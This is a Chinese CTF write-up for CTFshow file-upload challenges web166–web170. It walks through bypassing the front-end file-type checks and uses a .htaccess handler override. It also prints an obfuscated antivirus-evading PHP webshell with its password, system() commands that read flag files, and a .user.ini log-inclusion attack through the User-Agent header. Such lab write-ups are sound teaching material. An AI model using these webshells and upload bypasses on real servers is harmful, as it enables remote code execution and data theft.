ctfshow-web入门-文件上传(web166、web167)&(web168-web170)免杀绕过

目录

1、web166

2、web167

3、web168

4、web169

5、web170


1、web166

查看源码,前端只让传 zip

上传 zip 成功后可以进行下载 

随便搞一个压缩包,使用记事本编辑,在其内容里插入一句话木马:

上传该压缩包,上传成功后点击下载文件,使用 burpsuite 抓包:

我这里木马内容用的 request ,就在 get 里执行 ls 没什么问题,但是读取 flag 时识别有点问题,最好使用 post 请求,因此将请求方法改为 post ,将 file 的内容还原到上面。

读取 flag:

ctfshow{f98c6ba4-e71a-46bf-b7c3-846db8cc08d7}

后面发现转为 get 方法其实也是可以的,注意添加一个加号进行拼接,而不是用空格:

2、web167

提示:httpd

.htaccess 文件是 Apache HTTP 服务器的目录级配置文件,它允许用户覆盖 Web 服务器的系统范围设置,而无需修改全局配置文件(例如 httpd.conf 或 apache2.conf)。

这里我们可以通过上传 .htaccess 文件,其内容设置如下:

<FilesMatch ".jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

这里先改为 jpg 上传绕过前端限制后再改回 .htaccess 放包:

这个配置文件上传成功后,就会使 jpg 后缀的文件都被当做 php 文件解析。

接下来我们直接将一句话木马改为 jpg 后缀上传:

点击下载文件即可访问到一句话木马:

空白,说明上传解析成功。

调用:

看一下上层目录:

读取 flag.php:

拿到 flag:ctfshow{ba49b0f7-b8f9-447d-b1d3-118311c3d829}

3、web168

前端还是只能传 png

使用 burpsuite 抓包,改后缀重放回显 null

什么都没有回显

做了一下 fuzz 测试:

单个的字符都是没问题的,但是合在一起传的内容就有问题,并不是像前面对内容进行过滤那样简单,查看提示:基础免杀。

经过测试,正常内容可以上传,并且对 php 文件没有后缀限制:

 

文件会被上传到 upload 目录下: 

phpinfo 也可以正常上传并解析: 

无论是正常的 php 代码还是短标签的格式:

测试关键字:eval、system、assert、$_POST

均返回 null,猜测应该是过滤掉了一些危险函数和关键字

做了一下拼接绕过:

<?php
	$a="e"."v";
	$b="a"."l";
	$c=$a.$b;
	$c($_REQUEST['cmd']);
?>

但是访问的时候报错:

看来不光是过滤关键字,这些高位函数在 PHP 配置中也被禁用了。

在网上找到了一个免杀的木马:

<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

连接密码: TyKPuntU 

调用:

查看上一层目录:

TyKPuntU=system('ls ../');

存在 flag.php 和 flagaa.php,先读取 flag.php:

TyKPuntU=system('tac ../flag.php');

不是,那么再读取 flagaa.php:

TyKPuntU=system('tac ../flagaa.php');

拿到 flag:ctfshow{eec273d2-c16e-4772-bc11-b9d3587af55b} 

如果这里不上一句话木马,我们还可以使用反引号来执行命令:

<?=`ls ..`;

读取 flag:

<?=`tac ../flagaa.php`;

4、web169

高级免杀

前端只能传 zip,抓包绕过即可 

但是在后端上传发现不行,这段 unicode 编码在前面遇到过,文件类型没对。

需要修改 content-type 为:image/png

至于文件后缀并不影响,php 也可以:

测一下上一题的木马,过不了:

这里直接把尖括号(大于小于号)都给毙掉了:

想直接写进去很难了,采用日志文件包含:

先上传配置文件 .user.ini,也需要改文件类型为 png 图片类型

可以上传成功,再在  ua 头里面插入我们希望执行的 php代码,再次发送: 

访问 upload 目录,返回 403,应该是 upload 目录下没有 php 文件:

我们随便传一个上去:

访问 /upload/1.php

遇到报错:

 可能前面传得太乱了,重启容器,重新传 php 文件和配置文件:

再次访问 /upload/1.php,可以看到 ls ../ 执行成功:

读取 flag:

拿到 flag:ctfshow{5e939b5c-d235-43ae-9b2b-22c0387a9278}

5、web170

终极免杀

 方法与上一题一样,也是采用日志包含。

传配置文件:

这里的 payload 就直接读 flag 了:

传 php 文件:

这次直接传 index.php,内容为空,一会儿直接访问 upload 目录即可看到回显。

拿到 flag:ctfshow{719e6a2b-7309-4fe1-964b-8ba79bcbb809}

CTFshow-Web 入门系列的文件上传至此结束。

Myon,2024.7.11

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-11 18:06:05       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-11 18:06:05       72 阅读
  3. 在Django里面运行非项目文件

    2024-07-11 18:06:05       58 阅读
  4. Python语言-面向对象

    2024-07-11 18:06:05       69 阅读

热门阅读

  1. 力扣题解( 最长递增子序列)

    2024-07-11 18:06:05       24 阅读
  2. less和sass有啥区别哪个更加好

    2024-07-11 18:06:05       22 阅读
  3. 7.10飞书一面面经

    2024-07-11 18:06:05       24 阅读
  4. mysql bit 对gorm使用何种类型?

    2024-07-11 18:06:05       26 阅读
  5. python爬虫学习(三十三天)---多线程上篇

    2024-07-11 18:06:05       23 阅读
  6. 一、Python 日志系统设计之不同级别的系统日志

    2024-07-11 18:06:05       21 阅读